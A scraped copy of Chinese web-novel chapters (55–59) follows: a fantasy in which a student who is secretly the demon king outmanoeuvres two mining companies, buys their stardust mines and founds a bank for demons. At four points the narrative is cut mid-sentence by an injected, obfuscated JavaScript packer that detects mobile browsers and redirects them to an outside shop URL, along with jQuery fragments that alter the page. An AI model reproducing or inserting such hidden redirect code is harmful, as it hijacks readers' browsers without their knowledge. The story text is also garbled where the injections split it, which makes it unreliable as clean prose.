“什么情况，你们为什么要表现得这么惊讶？这难道不是理所当然的吗？”波诺出声道，他的表情就像刚刚看完一场滑稽的话剧，“‘树根’的出资者虽然是一个有钱的幽灵，但它的建立者确实是妮娜·斯特尔，而且库房就在罗德里斯公寓内部——还有比那儿更安全的地方吗？还是说你们愿意‘斗胆’上那儿去洗劫我们心心念念的那些星屑？” “也许我们目前最好还是搁置一下收集星屑和布置大法阵的事情，别一个劲地钻牛角尖了。我们是这个国家的管理者，除了魔王，我们也应该关注一下人民的生活。”过了一会儿，兰登说。 “呵，搁置大法阵的事？”韦斯特尔冷笑起来，“你是同情那个小魔王，还是舍不得阿加雷斯受苦？” …… 勇者和魔王的恩怨情仇放在现在其实已经有些老套了，不过直到很多年前，这都是文艺作品的热门题材。 我也曾以此为背景创作过一部长篇连载小说，成绩在当时可以说相当不错，当然现在再提起它，任谁都会说一句时代的眼泪。 要知道，三百年前真的发生过一场人类和魔族的大战，勇者对战魔王的情节当然不会在其中缺席。 人类是那么脆弱的种族，如果没有一个强大的勇者，他们要怎样才能打败那位无所不能的魔王呢？ 在力量不够的时候，智取往往是唯一的选择。 以人类的立场来看，那是一场惊心动魄的博弈，但如果让一位经历过那一切的魔族来评价的话，一切就大不相同了。 他一定会说，人类凭借阴险狡猾、出尔反尔、偷窃、掠夺等各种邪恶的手段从魔族那里得到了力量，并且利用了魔王的怜悯之心置他于死地，最后，再以这肮脏的胜利成果奴役他的臣民。 如果七圣灵真的存在，都会对这些思想龌龊、手段狠毒的人类降下天罚。 而比起“七圣灵”这种沽名钓誉的信仰，魔族对那棵大树的信仰显得更加纯粹和真挚。 ——《勇者笔记·第四卷（未发表）》 …… “解释一下，这到底是怎么回事？” 如果在大清早被敲门声吵醒，开门之后又看到一张除了眼里的血丝之外就再也没有一丝血色的脸，大多数人都会被吓一跳的。 “安德烈先生，才几天没见，你怎么变得这么憔悴了？”妮娜发出了最真诚的惊叹。 七圣灵保证，她变得尖细的声音里没有半分矫揉造作的意思。 作为一个经常因为作息不规律而把自己搞得不人不鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924314|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大四学生，妮娜知道必然是因为某些剧变使这个有血有肉的汉子在短短几天之内化作了一具僵尸。 安德烈艰难地抬起眼皮，用沙哑的声音说道：“我还要问您呢，要不是总部发来的那封批评信，我都不知道您把大门开到了这里。虽然我很好奇您是怎么做到的，但我更迫切想要知道的是您为什么要这么做？难道您就是为了伤害我，所以才想出了这个主意？这还真是个天才般的想法。” 前些日子工地上的业绩让他完全飘飘然了，他根本没有想到这是一个让他尝尽苦头的计谋，让他先舔几口甜的，然后再猝不及防往他身上捅刀子。 在南北工地的竞争中先达成领先，随后再被狠狠甩到后面。几天前他有多快活，现在就有多煎熬。 妮娜感到几分愧疚，但也仅有几分而已，她皱着眉头说道：“安德烈先生，我向来和你无冤无仇，我也是来到赫尔马岱之后才与你结识的，你说我到底有什么理由要害你？” “那您为什么只让爱德维希的工人进入休息处？您不能厚此薄彼，这不公平。您是新来这里的，所以并不知道，安卡亚和爱德维希在二号矿区的共存策略就是‘公平竞争’！”安德烈的嘴巴愤怒地张张合合，他苍白的脸色让他的牙龈和舌头看上去红得吓人。 “……我不知道你们之间还有那样的规矩。”妮娜小声说道，“毕竟是庇李希先生让我做出这种改变的。” “庇李希，庇李希……该死的亚历山大·庇李希。您是一个有自由意志的成年人，为什么要听从亚历山大·庇李希的指挥？”安德烈像是垂死挣扎般地叫了起来。 “你看，购买物资和设施维护都是要花钱的，爱德维希为我提供了这部分资金，而超过这部分的额外金额，则被他们用于购买‘专属使用权’了。”妮娜说，“我是一个有自由意志的成年人，你知道这样的成年人最容易被什么驱动。” 她的表情看起来诚恳得吓人。 安德烈很想发作，但在火山爆发的前一秒忍住了，他用力眨了一下那双只剩下没多少白色的眼睛，咬牙切齿地说：“爱德维希给了你多少——算了，不管他们给多少，我愿意出更多。” 他和亚历山大隔空打了很多年的交道，他也知道亚历山大对“专属权”的定价一定合理无比，肯定不会让爱德维希吃亏，不仅如此，还会留出足够的盈利空间，所以他只要放心往上加价就可以了。 妮娜用手指蹭了蹭鼻尖，赫尔马岱的空气比王都干燥很多，她鼻尖上的皮肤经常发痒。 “我和爱德维希签了一个月的合同。如果提前违约的话，我要支付一大笔违约金。”她说，“安德烈先生，可不要说什么替我支付违约金的话，相信我，租金和违约金加在一起之后，你就赚不了多少了。” 安德烈听到这话，非但没有大失所望，反而眼睛一亮：“不要紧，请开一个价吧！” 56. 第 56 章 很显然，“赚不了多少”的意思是还有赚钱的空间。 安德烈原本都已经做好用自己的钱先往里面贴一点的打算了。 虽然不知道原理，但是他已经亲眼见识过这座其貌不扬的设施的神奇作用。 那可是成倍提高的生产效率——他本想趁着这波东风成为南北竞赛的赢家，这番业绩足够保证他能在安卡亚安然待到退休，为此，就算要承担暂时的亏损也是可以接受的。 现在他得知自己不仅不用倒贴，甚至还能盈利，自然是喜出望外。 妮娜露出了一个亲切的笑容——在安德烈看来，那个笑容尽管有点可恶，但总体来说还是亲切的。 “让我们坐下来谈一下详细内容。” …… 三百年过去了，可我仍然无法忘记当时发生的一切。我曾经发誓要弥补和偿还。 我现在正在经受的，或许就是一种名为报应的玄理。但我更希望能给那个蒙受苦难的族群一些更加有益的补偿，而不是像现在这样白白受苦。 二十多年前的那次尝试是一次无与伦比的大冒险。很难说在迎接一个生命和送走一个生命两件事中，哪一种所要背负的责任更加重大，但其实这两件事我都做过，可惜都做得不好。 ——《勇者笔记·第四卷（未发表）》 …… 妮娜近一个月几乎都是在公共休息区的沙发上过的夜。 先后收到来自爱德维希和安卡亚公司的两笔打款，让她的户头立刻变得宽裕起来，也不知道是不是良心受罪，她最近几天睡得并不安稳。 此时正是半梦半醒之间，距离陷入暌违多时的深度睡眠似乎只差临门一脚，但是周边出现的一阵动静让那只已经跨出去的脚又缩了回来。 那动静很轻悄，几乎称不上“动静”，但是带着细微的气流，让妮娜的鼻尖再次发痒。 她醒了过来，在夜灯的微光中看到了那条黑乎乎的、突然僵硬的影子。 “古斯塔夫，是你吗？”她最近才发现自己的夜视能力相当不错，几乎不需要适应光线的时间，她就认出了影子的主人。 吸血蝙蝠迟疑了一会儿，慢慢地靠近沙发，匍匐在地毯上面：“陛下……” “谢谢你之前帮我把毛毯带来。现在虽然是热天，但是赫尔马岱的夜晚总是很凉。”妮娜没有急着去纠正他的称呼方式。 他虽然是位过于年轻的新魔族，但种族认同感对他来说一定意义重大，否则他在五年前就不会参加什么少年反抗军了。 更何况现在这里只有他们两个人。 她看到古斯塔夫的眼神闪烁了一下，于是解释道：“乌鸦经常会来这里帮我送货，她嗅到毯子上有你的味道。” “我看过您给我的留言了。”古斯塔夫说，“非常……非常感谢您的体谅。”他的声音和耳朵一如既往地喜欢发抖。“我知道这听起来像借口……但我、但我当时的确迫不得已。” “唔，吸血之王的命令对你来说不容违抗。就算是不可能做到的事——比如刺杀魔王，只要那位贵族向你下令，你也得上。”妮娜在沙发上调整了一下姿势。 古斯塔夫颤抖得愈发厉害：“不……不……” 妮娜这会儿终于清醒了一些，并立即意识到自己打了一个不当的比方——多少有些讥讽的感觉，但她可以发誓，她没有那个意思，那只是一个单纯的比方。 她没有就此表示歉意，而是换了一个问题：“你特意来赫尔马岱找我，一定是有什么重要的事吧？” 如果他不是个小傻子的话，总会选择用传送阵往来于工业区和王都之间的。而对他这种背景复杂的住民来说，穿越那个传送阵往往需要比别人更多的勇气和决心。要是还没有做好准备、下定决心，他就不会出现在这里。 “陛下……”古斯塔夫用针尖一样细小的声音说道，“我请求您……我恳请您对我下令，让我、让我能够抛弃那段记忆。您的话……一定、一定……” 连记忆这种意志之外的东西都能操控吗？ 妮娜若有所思地盯着那对毛茸茸的耳朵。魔王的权力，也许比她所能想到的还要可怕很多。 对古斯塔夫来说，如果没有经历那件事的话，他一定会活得更加轻松吧？他才十七岁——对血族这个长寿种族来说，十七岁和婴幼儿阶段可以划上等号，没有必要让他在生命的伊始就背负上如此沉重的罪孽包袱。 忘记，然后从十七岁开始迎接新的人生。也没有什么不好。 想到这里，妮娜便要应允他的请求。 “我拒绝。” 开口的时候，却说出了这样的话。 古斯塔夫像是被人刺了一剑似的，身体猛地在地上蜷作一团，看上去比刚才小了一圈。 他不敢抬头，也不敢问为什么，光是像这样臣服在魔王面前，几乎就耗尽了他的勇气。 妮娜意识到空气有些过分紧张了，她将握成拳头的右手放到唇边，轻轻咳嗽几声：“咳……我、我没有恶意。” 古斯塔夫艰难地从喉咙深处挤出一丝声音：“我明白。” “你才十七岁，五年的时间是你将近三分之一的人生，至少对现在的你来说，它不是应该被舍弃的东西。你已经无论如何都无法回到过去了。但是……后面有让你不敢回头的东西，也许你才会往前看吧。” 妮娜小心翼翼地挪下沙发，将古斯塔夫从地上抱了起来。这个小生物在最初表现出了一丝抗拒，并伴随着一阵轻微的挣扎。 蝙蝠的体温实在不低。除此之外，和真正的蝙蝠不同的是，身为魔物的吸血蝙蝠长着一双纤细的、既能倒挂，但也足以支撑其直立行走的腿。相比兽人，他们身上的人类特征似乎更加少一点，这让古斯塔夫看起来实在像一只长着翅膀的小狗。 妮娜把他抱到窗边，指了指上方：“你看，那里有一片广阔无垠的夜空。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924315|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古斯塔夫伸出那双带着膜翼的手臂，挣脱了身后的那个怀抱，将自己挂在窗台上，仰着脑袋去看那几颗零落的星子，试图分散注意力。 就在他找到了一颗颜色看起来有些特殊的星辰，并想要自己辨认它的形状时，一只微凉的手落在他的右肩。 接着，他听到一个柔和但低沉的声音从头顶传来。 “血族的古斯塔夫，我赦免你。” “——请带着那些死去同伴的光荣与梦想，努力活下去吧。” * 轻松的日子还没过上几天，亚历山大就跌入了新的地狱。 作为辖区中有一片星屑矿产的矿场负责人，亚历山大·庇李希认为自己至少比普通人更了解这种资源的价值。 随着魔法开发程度的不断深化，今后社会上各个产业对星屑的需求只会增加不会减少。 他在被任命为这片矿场的负责人时，魔法技术的发展还处于起步阶段，但他已经预见到其今后的发展，因此在市场上出现星屑交易之后，他就立刻参与其中，几年时间就以一点微小的成本赚到了六位数的收益。 到了近一两年，魔法市场和魔法生产的发展无不呈现蒸蒸日上的态势，他更加相信星屑的价格还会迎来一波翻涨，于是在今年年初的时候把大部分家当都押进了星屑市场，等待某一天的一夜暴富。 他万万没想到，暴富没等到，反而等到了星屑行情暴跌。他囤积的那批星屑在这不到半年的时间里价格已经缩水了一半，而且还有继续缓慢缩水的趋势。 这事是如何发生的，他百思不得其解。 某个矿业公司发现了聚集度极优的大型星屑矿？学术界研发出了不需要靠星屑供能的新魔法？还是说他们找到了效率更高的供能方式？ 他在网上搜索了很多讯息，发现了一两个月前就有相关领域的权威专家在唱衰星屑，理由也无非是他想到的那些，他后知后觉地翻阅了有关的学术期刊，竟真的在上面看到了这方面的研究成果…… “完蛋了……” 亚历山大瘫软在办公椅上。只过了几秒钟，他又一个鲤鱼打挺坐直起来，飞快地打开电脑，登录交易网站，登记了一个近期最好的价格，把手里的存货一股脑挂了上去。 他相信以自己对这种矿物的了解，这已经是他能作出的最好选择。总不能等到价格真的到了谷底再卖，又或者说让自己被套在里面，那样他的资产最后就不是缩水一半的问题了。 而他所谓的对星屑的了解，即它们虽然是迄今为止最好的魔力源流，但只要出现能够替代的物质或是优化的技术，它们的地位也会立刻不保。 而他在年初时之所以敢将那么多资产投入星屑交易，就是因为他相信短时间内，替代物质和优化技术都不会出现。 “部长，那个大学生违约了，她不再对我们开放休息处了。”一名部下在这个恰到好处的时间点走进了亚历山大的办公室。 57. 第 57 章 “我们的人打算去午休的时候，发现休息处的大门消失了，而安卡亚那边的人似乎能从另一个门进去。” 听到部下的话，亚历山大从椅子上弹了起来：“我要找她理论去。我要找她的学校告状。我要找一个律师。” “她已经把违约金交给了我。”部下递出了一只信封，“安卡亚一定出了不少租金，他们一定也不好受，只是想和我们斗一口气。” 亚历山大肺里的“一口气”差点没能提上来，他强撑着冷笑了一声：“一个毫无信誉可言的家伙，爱德维希怎么敢跟她做生意的！他们最后也一定没有好果子吃！！” 他的电脑里还存着关于接下去如何形成对爱德维希的绝对优势，并将其彻底赶出二号矿区的工作计划，预备到下次汇报工作的时候就呈递给总部——而这一切眼看着也要同他靠星屑交易赚大钱的计划一样打水漂了！ 他心里其实也清楚，为什么爱德维希敢冒着被违约的风险和那个妮娜·斯特尔谈生意，实在是因为……南北竞赛长期以来的微妙和谐已经被打破了！ 现在，谁能得到休息处的使用权，谁就能赢得这场竞争！ 妮娜·斯特尔知道这一点。主动权在她手上。更何况她还按照合同的金额赔付了违约金——从法律的角度来说她的行为也无可指摘。 亚历山大开始回想自从矿区2005变成工人休息处后发生的一切。 “从明天起，推迟早上的开工时间，下工时间暂时保持不变。中午确保一个小时的休息，确保午餐的供应——钱先用收回来的违约金垫上，我后续会向总部申请正式的午餐费用……今天的食物已经来不及去采购了，这样，你去问问斯特尔愿不愿意出售一些给我们，这应该不影响她和安卡亚的合同履行。” 冷静下来想想，这其中的道理明明就很简单，工人们之所以提升了工作效率，是因为得到了良好的休息。 只是他过去完全没有把那些工人当成工人看，也从没想到良好的休息对魔族工人的工作效率提升能起到如此显著的作用。 而良好的休息，本来就不是什么工人休息处限定供应的东西，只要他愿意，他工地上的工人们就能得到那种“相对良好的休息”。 既然一夜暴富的梦想已经破碎，亚历山大就只能指望着手里的这份工作能确保他在退休之后不会流落街头。 部下很快就去执行他交代的任务了。 亚历山大再次坐了下来，打开电脑。屏幕上显示的还是交易网站的页面，他的账号已经空仓了，他的心也顿时觉得空空荡荡的。 他打开那份尚未提交的工作计划，决定进行大刀阔斧的改动，他希望借用自己的经历，来说服公司总部能够批一部分资金让他实施“工人休息方案”。 “您有一封新邮件。” “亚历山大·庇李希先生 由于星屑价格的大幅变动，公司最近陷入经营困难，需要削减员工数量以降低运营成本，考虑到您近几年工作绩效一直处于落后水平，经公司高层的慎重考量及人事部门评估，您将被归入‘人事优化’队伍，之后将有专门的人事部门成员与您对接相关事宜。” 亚历山大松开了鼠标，愣愣地看着屏幕上的一行行文字，那上面每一个字他都认识，但连接在一起却好像变成了无法解读的密语。 人事部门的家伙在说什么呢。 被派去执行任务的部下去而复返：“对了，部长，那个大学生现在就在办公楼下面，她说想和你见面谈谈。” 看看她还有什么把戏。 亚历山大明白自己即将，或者说已经一无所有了。在这种情况下，他反而变得比过去的任何一个时刻都要冷静，他的潜意识似乎明白，如果说现在还会出现什么转机的话，那这个转机八成来自妮娜·斯特尔。 “你先去办事吧，我亲自下去一趟，采购食品的事情我会和她提的，你就不用多跑一趟了。” 那个女大学生还是一副缺乏睡眠的模样。 但现在亚历山大怀疑她是因为把本应该用来睡觉的时间都用来动歪脑筋才会变成这样的。 “您是来向被违约的客户道歉的吗？”他将客人邀请到大厅角落的桌椅套组落座。 妮娜·斯特尔确实面带歉意：“有这方面的意思，不过更多的是来同您谈另一桩生意。” “您想谈什么？先声明一点，我这儿已经没有什么油水可以捞的了。” “我想收购贵司在二号矿区的这片矿场。” 妮娜·斯特尔毫不掩饰来意，坐在桌子对面侃侃而谈，“虽然爱德维希在二号矿区有三片矿场，但最主要的产出是星屑矿。最近星屑的行情不好，很可能以后也不会好了。这地方对贵公司来说或许会成为一块鸡肋。如果有人愿意接手的话，未必不是一件好事。你觉得呢？” 这是亚历山大完全没有想到的一种展开。 必须承认，这位经济学生的说辞并不只是一种话术，她对星屑的前途预判与他的想法基本一致，况且他已经从那封辞退预告信件中明确读出了爱德维希的上层也是这种想法。 不出意外的话，接下去星屑的价格只会逐年走低，而且没有什么转圜余地，趁刚出现这个苗头的时候就把星屑矿地出手一定是多方权衡后的最佳选择。 “如果我能促成矿地的交易……或许总部还能从我身上看到一点价值。”亚历山大不由自主地想道。 这一星半点的希望几乎成了他对未来人生的寄托。 他已经不年轻了，即使现在还处于工地一线的位置，但在这一行干久的人都清楚这不是什么值得夸耀的事——进入中年时期还没能获得总部的一个办公室职位，多多少少说明了此人只能在工地上发挥价值。 别看他在工地现场可以对那些看起来凶神恶煞的魔物们颐指气使，实则他在整个公司里只是顶不入流的角色。 以目前的评价标准来说，亚历山大中专毕业，学的是地质方面的专业，学历不高，年纪过了四十中旬，没有特别出色的技能，唯一拿得出手的可能只有工作经验。 他十八岁就开始正式工作了，在一线奔命二十余年，有时候凭借直觉就能知道哪条地脉下能挖出矿来，而且他也已经习惯了和魔物们打交道——这或许是他至今没能结婚的原因之一。 总之，他算是那种可靠的螺丝钉，可惜被敲在了要被舍弃的部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924316|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件上。 “庇李希先生？”女大学生还在等待他的回应。 亚历山大回过神来，看向妮娜·斯特尔那张和他一样凄风惨雨的脸，他发现自己之前光注意到她脸上两个过于明显的黑眼圈了，从没发现其实她的眼睛又黑又亮——儿童文学总喜欢把这种光亮称为希望的光芒。 这让他立刻变得警觉起来。 “诚然，如您所说，从政府和学界发表的文章来看，星屑马上就要变成一种过时的能源了，它与魔界的文明有着过于深刻的联系，就算是出于维护人类文明的尊严，我们也决不能将它当成一种主要的生产能源。”他也开始滔滔不绝地输出自己的观点，“只有当人类用其文明内生的能源驱动魔法的时候，才能说人类真正掌握了魔法的力量。星屑将会一败涂地，被人弃之敝履。” “——所以您又为什么会对这样一块毫无前途的矿地产生兴趣？” 他才不相信一个女大学生会无缘无故地买下一座矿场。 就算其价值不如往昔，这终究还是一座矿场。这意味着买下它还是要花不少钱的。 他通过一系列对人性的反思可以断定，妮娜·斯特尔对这片矿地有不一样的看法。 他必须要弄清这一点，才能为这笔生意谈下一个好价钱。 “我不仅对这块‘毫无前途’的矿地有兴趣，我对南面那块地也兴趣浓厚。”妮娜·斯特尔没有直接回答他的提问，而是透露出一个讯息，她对安卡亚的那座矿场也虎视眈眈。 亚历山大做出了一个超过他自身平均能力的判断：“你把休息处建在两片矿地之间的街道上，就是想让我们互相争斗，然后趁乱把我们通通拿下？” 他在不自觉的情况下放弃了那个并不和谐的尊称。 妮娜·斯特尔露出“是又如何”的表情。 “你到底有什么目的？” 女大学生掏出手机，打开一个页面，放在亚历山大那一侧的桌面上。屏幕上是一个圆阵形的图案。 “这是什么？”亚历山大一边拿出手机，用摄像头扫描了一下，一边问道。 “你都对我做过背景调查了，应该知道我在参加大学生创业比赛吧？既然如此，为什么不顺手关注一下，为我增加一点热度呢？”妮娜伸长了脖子，似乎试图确认和自己谈话的人没有在用手机干别的事。 亚历山大把手机放到了两个人都能看清屏幕的位置。 圆阵的扫描结果是“罗德里斯公寓”的项目主页。 “点一下这个按钮，然后在‘接受推送’的选项上打勾，这样你就能知道我最近在干什么，将来又打算干什么了。” “我的提问显然不是为了这个……”亚历山大对她这种见缝插针的自我推销感到一阵无语，“等等……难道说赫尔马岱的矿业也是你的创业目标吗？但你还没有解释，星屑已经日薄西山，你却打算在这里买下两片星屑矿地。” “和那些买涨不买跌的人不一样，我喜欢低价捡漏。” “抄底的前提是对触底反弹的预期，你在暗示星屑价格还会回升？” “我可预见不了它的价格还会进行如何的波动，但是我能改变它的价值。” 58. 第 58 章 亚历山大沉默了半晌。 “我不认为这话应该从一个经济专业的学生嘴里说出来，而且还是一个恩斯法内大学的学生。” “我说了什么有悖于你生活常识的话吗？嗯……我想很多规律其实都是有前提的。”妮娜说，“只是当那个前提客观到一定程度的时候，人们容易把它忽略罢了。” 亚历山大没有听懂她在说什么。 而她也考虑到了这一点。 “总而言之，我坦率地把结论告诉你，这块地对爱德维希来说不会有更多好处了，它今后只会持续造成亏损。脱手越早，亏得越少。你不用指望爱德维希能像我一样找到让它价值翻新的办法——我说过，那是超出人类常理之外的事情。” 亚历山大沉吟了一会儿，“这笔交易成立与否不是我能决定的。我会向总部进行申报，然后由股东大会作出最后的答复。必须提前说明，我在公司内部人微言轻，通常无法对上层的决定产生任何影响。” “如果我能买下这片矿地，我会考虑把你挖角到我这儿来。我身边没有一个懂这方面业务的人，有老手帮忙就再好不过了。” 这无疑是当前谈判中对亚历山大·庇李希触动最深的一句话。 就在这个瞬间，他并不坚定的内心突然倒向了这个可恶的大学生一边。 他可没有义务替一个抛弃他的公司摸清一笔生意的门道，相反，如果他能促成这片矿地的转手，那至少在短期内他还不用担心自己会变成一个中年失业的流浪汉。 “我会让总部认识到这其中的‘利害’，就像您刚才说的，星屑矿地很快就会变成爱德维希的一块鸡肋，甚至是累赘，有‘冤大头’愿意接手是最好的。”他说。 亚历山大一回到办公桌前，就立刻开始了报告书的草拟，他诚恳地将自己的考虑梳理成条目，简洁明了地体现在邮件的正文，又提到了一个“似乎还不知道行情”的创业者想要趁着这波乱子捞些便宜。 “我为爱德维希奉献了二十七年的珍贵光阴，我的辛勤劳动足以使我在离开时无愧于这家伟大的公司，希望在我离去之后，这里依然能获得良好而长足的发展。” “真挚的亚历山大·庇李希” 爱德维希是一家历史悠久的资源公司，从最开始的煤矿，到石油、天然气，再到星屑，他们没有缺席人类科技树中的每一个能源转变期。 古老的建成史和丰富的经验、庞大的体量，还有完备的管理体系，让爱德维希的总部在面对重大问题时总能快速做出决定。 它不害怕偶尔的犯错，并且愿意承担在时代风向变化时第一个做出改变的风险。 因此，在提出报告后仅过去两个工作日，来自总部的回复便悄然出现在亚历山大的邮箱里： “经董事会批准，公司已经通过出售赫尔马岱二号矿区矿场的决议，感谢您在这段时间的无私付出，不过很遗憾地告知您，这份业绩并不足以让人事部门撤销此前的‘优化’决定，矿场权益的交接将会在您正式离职之后进行，感谢您的理解。” 亚历山大并不意外自己已经能心平气和地看待这种邮件了。 非但如此，他还立刻向未来东家转达了爱德维希“同意出售”的意愿。 他打开手机，看了看屏幕上的新推送，罗德里斯公寓项目刚刚进行履历更新，他能想象那位负责人已经把赫尔马岱的矿地写进了自己的创业项目，还有些担心接手这种进入下行期的产业会降低那些按下看好按钮的投资者对这一项目的评估。 因此，当他在最新进展中没有看到矿业相关的内容时，既松了一口气，又暗自感到诧异。 新增的内容不是他预料中的矿地，而是一个金融项目——面向魔族的金融机构，名为“树根”。 对于在社会上基本不占有经济资源的恶魔们来说，“金融”这个词显然有些多余，但亚历山大想到了妮娜·斯特尔的提示和她的种种行动，他想到了一个超乎他自身知识水平的可能性。 * 亚历山大·庇李希对在他离开爱德维希后发生的一切乐见其成。 生活似乎没有发生太大的变化，但又好像变了个天翻地覆。 他仍在赫尔马岱的第二矿区工作和生活，仍在和那些魔族工人打交道，仍为他们排班，仍要定期检查魔法机械…… 而变化则主要体现在和工人们有关的项目上。 原来的矿地办公室被爱德维希一并出售给了妮娜·斯特尔，她不知道用了什么办法，只花了一点点时间，就将办公大楼彻底改造一新，成为一栋宿舍楼——这可比休息处的容量要大多了。 亚历山大猜测她用的是一件高级魔法媒介。 一般来说，能起到这种效果的魔法媒介是平民百姓即使花钱也买不到的无价之宝，但考虑到这位新东家在创业大赛中进入第二轮，背后有某位七贵族的支援，再加上她好像比看起来有钱很多，故而他也就自然而然地接受了这个现实。 宿舍一楼是宽敞的公共食堂。 目前为止，供应给工人们的食物还都是批量采购的预制品，不过新东家已经通过自主报名和面试，挑选了几名工人，打算将他们培训成厨师，以后专门为工地准备一日三餐。 另外他还多了一项和财务有关的额外工作，就是计算发放给工人们的工资。工资的数额与出工时间和工作内容有关，巨魔的工资总是比别人高一些，而死灵们相比较而言就成了“低收入魔群”，所有当事人都欣然接受了这些差异。 工资是经过融化和重铸的星屑币——相关工序所用到的工具也爱德维希打包出售的——新东家为工人们开设了树根账户，这些星屑大多被存进了这家神奇的初生机构中。 亚历山大和工地上的其他人类员工则被允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924317|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许获得以卡什计算的薪酬。 亚历山大为了表示对新东家的感谢和支持，选择以一半卡什一半星屑的方式领取工资，并将星屑的那一部分也存进了树根。 不知道为什么，他已经在赫尔马岱工作了二十多年，这里完全已经成了他的第二个家乡，但直到拥有了树根账户，并往里面存放了星屑，他才觉得自己真正融入了这个地方。 此时他还没有把这种奇怪的感受和那棵扎根在这座城市的大树联系起来。 当然，因为他是一个人类。人类没有任何理由能从生命之树上获得任何启发和力量，也不会对那棵大树产生任何亲近感——对他们来说，那除了是一棵大树之外，充其量不过是一台巨大的魔族量产机器，并兼职绿化和造氧的工作。 最令亚历山大感到激动和唏嘘的，还要数与安德烈的“决斗”。 他没想到这场旷日持久的战争会有一个如此“平和”的结局。 那时的安德烈还不知道北面矿场已经转手的事迹，以为手握休息处的使用权就能高枕无忧，他打算在接下来的一个月内进行最终冲刺，以期一举打败爱德维希，一劳永逸。 他也正是这么对自己手下的工人们宣传的。 “再辛苦一个月，我们就能过上好日子了！你们中的一些人说不定能就此脱离苦海。” 那些工人们确实即将脱离苦海，不过不是以安德烈想象的形式，也不是通过死亡获得解脱，而是一种乐观的方式。 “一个月”，这种明确的期限在安卡亚工人们的心中燃起了切实的希望，这簇希望的火焰点燃了他们体内的发动机，让他们比以往任何一个时候都要更加高效的运转起来。 在最初几天里，高效运转带来了很高的回报率，安卡亚的“竞赛数据”节节攀升，但以透支为代价的高效始终难以持久，到了第二个礼拜，南面的工地便显出颓势。 亚历山大能想到，安卡亚的总部一定给了安德烈不小的压力——就像他被“温和辞退”时一样——加上连日来星屑毫无转圜的走低，和北面矿地构成相似的南面矿地一定也已经进入安卡亚高层的放弃名单。 现在就等最后一波“血拼”，然后看新东家用一个好价格把对面那块他久攻不下的产业给攥到手中了。 这时候，亚历山大不仅觉得安德烈看上去没那么讨厌，甚至开始同情起这位近来看上去一下子老了很多的对手来。 “你看起来非常疲惫，比自我认识你以来的任何一个时候都要疲惫。” 安德烈看起来还没有准备好应对他的问候，显得有些慌张和狼狈，“你来干什么？难道是来嘲笑我的吗？” “我想说……如果世界上有人能深刻理解你所承受的痛苦，那个人一定是我。”亚历山大说，“我想你现在正站在人生的悬崖上，半截身子已经掉出去了，我只是看看能不能把你拉回来。” 59. 第 59 章 …… 近来发生的事情让人感到不像真的。我时常怀疑自己是不是在做梦。 当我突然睁开眼睛，发现自己躺在床上的时候，我内心那种隐隐的失落究竟是什么？ 而当我走出自己的房间，看到每一个向我问好的邻居，看到工地上那些卖力干活的工人们，看到金库里面越堆越高的那座星屑的小山，发现一切不是梦境的时候，我所感到的欢欣鼓舞又是什么？ 我偶尔会反思，我是如何做到在短短几个月内就完全接受了打破我二十多年人生经验的奇妙设定——难道我是一个如此薄情寡义的人吗？而这种想法一旦在我脑中形成，我又不免质问自己，我真的能够抛弃我与生俱来的使命和责任吗？ 我过去所遭受的种种“不公”都昭告着贵族院对我的“关注”。恐怕即使我有强烈的意愿，他们也未必会允许我作为一个普通的人类存在，更何况我已经做出了承诺。 ……如果有一天，我是说“如果”，我能够让魔族再次过上三百多年前那种自由而富足的生活，我又会如何对待人类。难道我要将贵族院曾对魔族做过的事反过头来加诸人类吗？ ……吸血鬼对我说过，他希望有一天魔族和人类能在大地上和谐共处——我又何尝不怀抱这样的愿景？ 我偶尔会想念萨利。 ——《妮娜的日记》 …… “贵族院一定没想到他们的所作所为到头来帮了我一个大忙。”女大学生这几天终于有了“自己正在做大事”的实感，并且因为阶段性的胜利而感到春风得意，“如果不是他们想要做空星屑，我可没办法在这么短的时间内就拿下第二矿区最大的两个矿地。” 